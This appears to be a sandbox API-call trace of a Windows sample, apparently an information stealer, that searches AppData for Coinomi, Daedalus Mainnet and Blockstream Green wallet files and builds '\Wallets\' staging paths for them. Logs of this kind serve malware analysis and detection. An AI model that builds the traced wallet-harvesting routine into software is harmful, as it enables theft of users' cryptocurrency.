[0055.133] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0
[0055.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67dad8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d978, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=62, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62
[0055.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=62, lpWideCharStr=0x6704e8, cchWideChar=62 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h") returned 62
[0055.133] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\h")) returned 0xffffffff
[0055.133] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.133] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.133] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.133] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.133] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.133] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.133] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.134] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.134] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.134] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi"
[0055.134] lstrcatA (in: lpString1="\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="\\Wallets\\Coinomi\\") returned="\\Wallets\\Coinomi\\"
[0055.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da78, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.134] lstrcatA (in: lpString1="\\Wallets\\Coinomi\\", lpString2="h" | out: lpString1="\\Wallets\\Coinomi\\h") returned="\\Wallets\\Coinomi\\h"
[0055.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67dac8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.134] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.134] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Coinomi\\h" | out: lpString1="\\Wallets\\Coinomi\\h") returned="\\Wallets\\Coinomi\\h"
[0055.134] lstrlenA (lpString="/Wallets/Coinomi/h") returned 18
[0055.134] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.134] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0055.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=69, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69
[0055.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=69, lpWideCharStr=0x67db50, cchWideChar=69 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\*.config") returned 69
[0055.134] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\*.config" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\*.config"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0xffffffff
[0055.134] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0
[0055.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d998, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67daf8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=62, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62
[0055.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=62, lpWideCharStr=0x6704e8, cchWideChar=62 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h") returned 62
[0055.135] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\h")) returned 0xffffffff
[0055.135] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.135] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.135] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.135] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.135] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.135] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.135] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.135] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.135] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.135] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi"
[0055.135] lstrcatA (in: lpString1="\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="\\Wallets\\Coinomi\\") returned="\\Wallets\\Coinomi\\"
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d968, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.135] lstrcatA (in: lpString1="\\Wallets\\Coinomi\\", lpString2="h" | out: lpString1="\\Wallets\\Coinomi\\h") returned="\\Wallets\\Coinomi\\h"
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da98, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.135] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d9f8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.136] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Coinomi\\h" | out: lpString1="\\Wallets\\Coinomi\\h") returned="\\Wallets\\Coinomi\\h"
[0055.136] lstrlenA (lpString="/Wallets/Coinomi/h") returned 18
[0055.136] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Coinomi\\Coinomi\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coinomi\\coinomi\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.136] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=75, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75
[0055.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=75, lpWideCharStr=0x670508, cchWideChar=75 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Daedalus Mainnet\\wallets\\she*.sqlite") returned 75
[0055.136] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Daedalus Mainnet\\wallets\\she*.sqlite" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\daedalus mainnet\\wallets\\she*.sqlite"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0xffffffff
[0055.136] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0
[0055.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d9b8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da68, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x670508, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65
[0055.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x670508, cbMultiByte=65, lpWideCharStr=0xe055320, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Daedalus Mainnet\\wallets\\h") returned 65
[0055.136] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Daedalus Mainnet\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\daedalus mainnet\\wallets\\h")) returned 0xffffffff
[0055.136] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.136] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.136] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.136] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.136] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.137] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.137] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.137] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.137] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.137] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Daedalus Mainnet" | out: lpString1="\\Wallets\\Daedalus Mainnet") returned="\\Wallets\\Daedalus Mainnet"
[0055.137] lstrcatA (in: lpString1="\\Wallets\\Daedalus Mainnet", lpString2="\\" | out: lpString1="\\Wallets\\Daedalus Mainnet\\") returned="\\Wallets\\Daedalus Mainnet\\"
[0055.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67dab8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.137] lstrcatA (in: lpString1="\\Wallets\\Daedalus Mainnet\\", lpString2="h" | out: lpString1="\\Wallets\\Daedalus Mainnet\\h") returned="\\Wallets\\Daedalus Mainnet\\h"
[0055.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d9d8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.137] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Daedalus Mainnet\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\daedalus mainnet\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67dad8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.137] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Daedalus Mainnet\\h" | out: lpString1="\\Wallets\\Daedalus Mainnet\\h") returned="\\Wallets\\Daedalus Mainnet\\h"
[0055.137] lstrlenA (lpString="/Wallets/Daedalus Mainnet/h") returned 27
[0055.137] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Daedalus Mainnet\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\daedalus mainnet\\wallets\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.137] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0055.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66
[0055.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=66, lpWideCharStr=0x670508, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Blockstream\\Green\\wallets\\*.*") returned 66
[0055.137] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Blockstream\\Green\\wallets\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\blockstream\\green\\wallets\\*.*"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0xffffffff
[0055.137] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0
[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67daf8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da58, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64
[0055.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=64, lpWideCharStr=0x6704e8, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Blockstream\\Green\\wallets\\h") returned 64
[0055.138] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Blockstream\\Green\\wallets\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\blockstream\\green\\wallets\\h")) returned 0xffffffff
[0055.138] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.138] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.138] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.138] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.138] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.138] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.138] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.138] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.138] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.138] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Blockstream Green" | out: lpString1="\\Wallets\\Blockstream Green") returned="\\Wallets\\Blockstream Green"
[0055.138] lstrcatA (in: lpString1="\\Wallets\\Blockstream Green", lpString2="\\" | out: lpString1="\\Wallets\\Blockstream Green\\") returned="\\Wallets\\Blockstream Green\\"
